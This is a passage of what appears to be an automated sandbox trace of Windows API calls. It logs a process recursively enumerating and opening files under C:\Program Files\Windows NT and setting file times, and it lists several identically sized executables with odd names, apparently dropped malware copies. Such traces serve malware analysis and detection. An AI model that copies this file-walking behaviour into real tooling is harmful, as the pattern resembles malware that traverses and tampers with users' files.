lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea54dff0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xea54dff0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x464289e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1 [0250.085] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea54dff0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xea54dff0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x464289e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0 [0250.085] GetLastError () returned 0x12 [0250.085] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.085] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.085] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.085] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.085] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6a4af0, ftCreationTime.dwHighDateTime=0x1d5a5cd, ftLastAccessTime.dwLowDateTime=0xcbbddc10, ftLastAccessTime.dwHighDateTime=0x1d5c5ce, ftLastWriteTime.dwLowDateTime=0xcbbddc10, ftLastWriteTime.dwHighDateTime=0x1d5c5ce, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="active-charge.exe", cAlternateFileName="")) returned 1 [0250.085] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bd9f150, ftCreationTime.dwHighDateTime=0x1d599c9, ftLastAccessTime.dwLowDateTime=0x8d8f1e20, ftLastAccessTime.dwHighDateTime=0x1d55acd, ftLastWriteTime.dwLowDateTime=0x8d8f1e20, ftLastWriteTime.dwHighDateTime=0x1d55acd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="foxmailincmail.exe", cAlternateFileName="")) returned 1 [0250.085] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f5338a0, ftCreationTime.dwHighDateTime=0x1d55e03, ftLastAccessTime.dwLowDateTime=0xe0a5eae0, ftLastAccessTime.dwHighDateTime=0x1d59924, ftLastWriteTime.dwLowDateTime=0xe0a5eae0, ftLastWriteTime.dwHighDateTime=0x1d59924, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hepatitis.exe", cAlternateFileName="")) returned 1 [0250.085] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="")) returned 1 [0250.085] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.086] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService" (normalized: "c:\\program files\\windows nt\\tabletextservice"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0250.086] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService" (normalized: "c:\\program files\\windows nt\\tabletextservice"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0250.086] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0250.086] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9eadf0 [0250.086] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0250.086] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.086] NtClose (Handle=0x1a8) returned 0x0 [0250.086] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.086] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.086] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.086] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.086] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0250.086] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.086] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.086] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46672035, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x46672035, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x449faf50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0250.086] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.087] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d933d2, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d933d2, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x6e10ff3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3f54, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1 [0250.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0250.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fbe8 [0250.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x1690168 [0250.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.087] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a73731, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72a73731, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x6e8340d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x136bf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1 [0250.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fc08 [0250.088] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x1690270 [0250.088] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.088] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8340d, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x6e8340d, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x6f1b985, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef486, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1 [0250.088] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.088] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.088] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.088] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.088] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.088] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fc28 [0250.088] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x1690378 [0250.088] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.088] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae5b48, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72ae5b48, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x72ada55, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x196b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedQuanPin.txt", cAlternateFileName="")) returned 1 [0250.088] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.088] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.088] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.088] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.088] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.088] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fc48 [0250.088] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x1690480 [0250.088] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.088] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b57f5f, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72b57f5f, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x736c12b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160e36, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedShuangPin.txt", cAlternateFileName="")) returned 1 [0250.088] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.088] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.088] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.089] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fc68 [0250.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x1690588 [0250.089] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.089] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ba4219, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72ba4219, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b9fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedZhengMa.txt", cAlternateFileName="")) returned 1 [0250.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.089] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.089] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fc88 [0250.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x1690690 [0250.089] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.089] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d6d275, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d6d275, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1 [0250.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.089] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.089] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fca8 [0250.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x1690798 [0250.089] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.089] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d6d275, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d6d275, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 0 [0250.090] GetLastError () returned 0x12 [0250.090] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd6a0 [0250.090] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.090] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.090] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.090] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.090] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US" (normalized: "c:\\program files\\windows nt\\tabletextservice\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.090] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US" (normalized: "c:\\program files\\windows nt\\tabletextservice\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0250.090] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0250.090] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9eadf0 [0250.090] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0250.090] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.090] NtClose (Handle=0x1a8) returned 0x0 [0250.091] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.091] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.091] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.091] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1657a08 [0250.091] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0250.091] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.091] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1 [0250.091] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1657a90 [0250.091] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657a90) returned 1 [0250.091] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1657a90 [0250.091] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657a90) returned 1 [0250.091] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1657a90 [0250.091] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x16908a0 [0250.091] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.091] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fcc8 [0250.091] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x16909a8 [0250.091] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657a90) returned 1 [0250.091] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 0 [0250.091] GetLastError () returned 0x12 [0250.092] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0250.092] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.092] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.092] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, 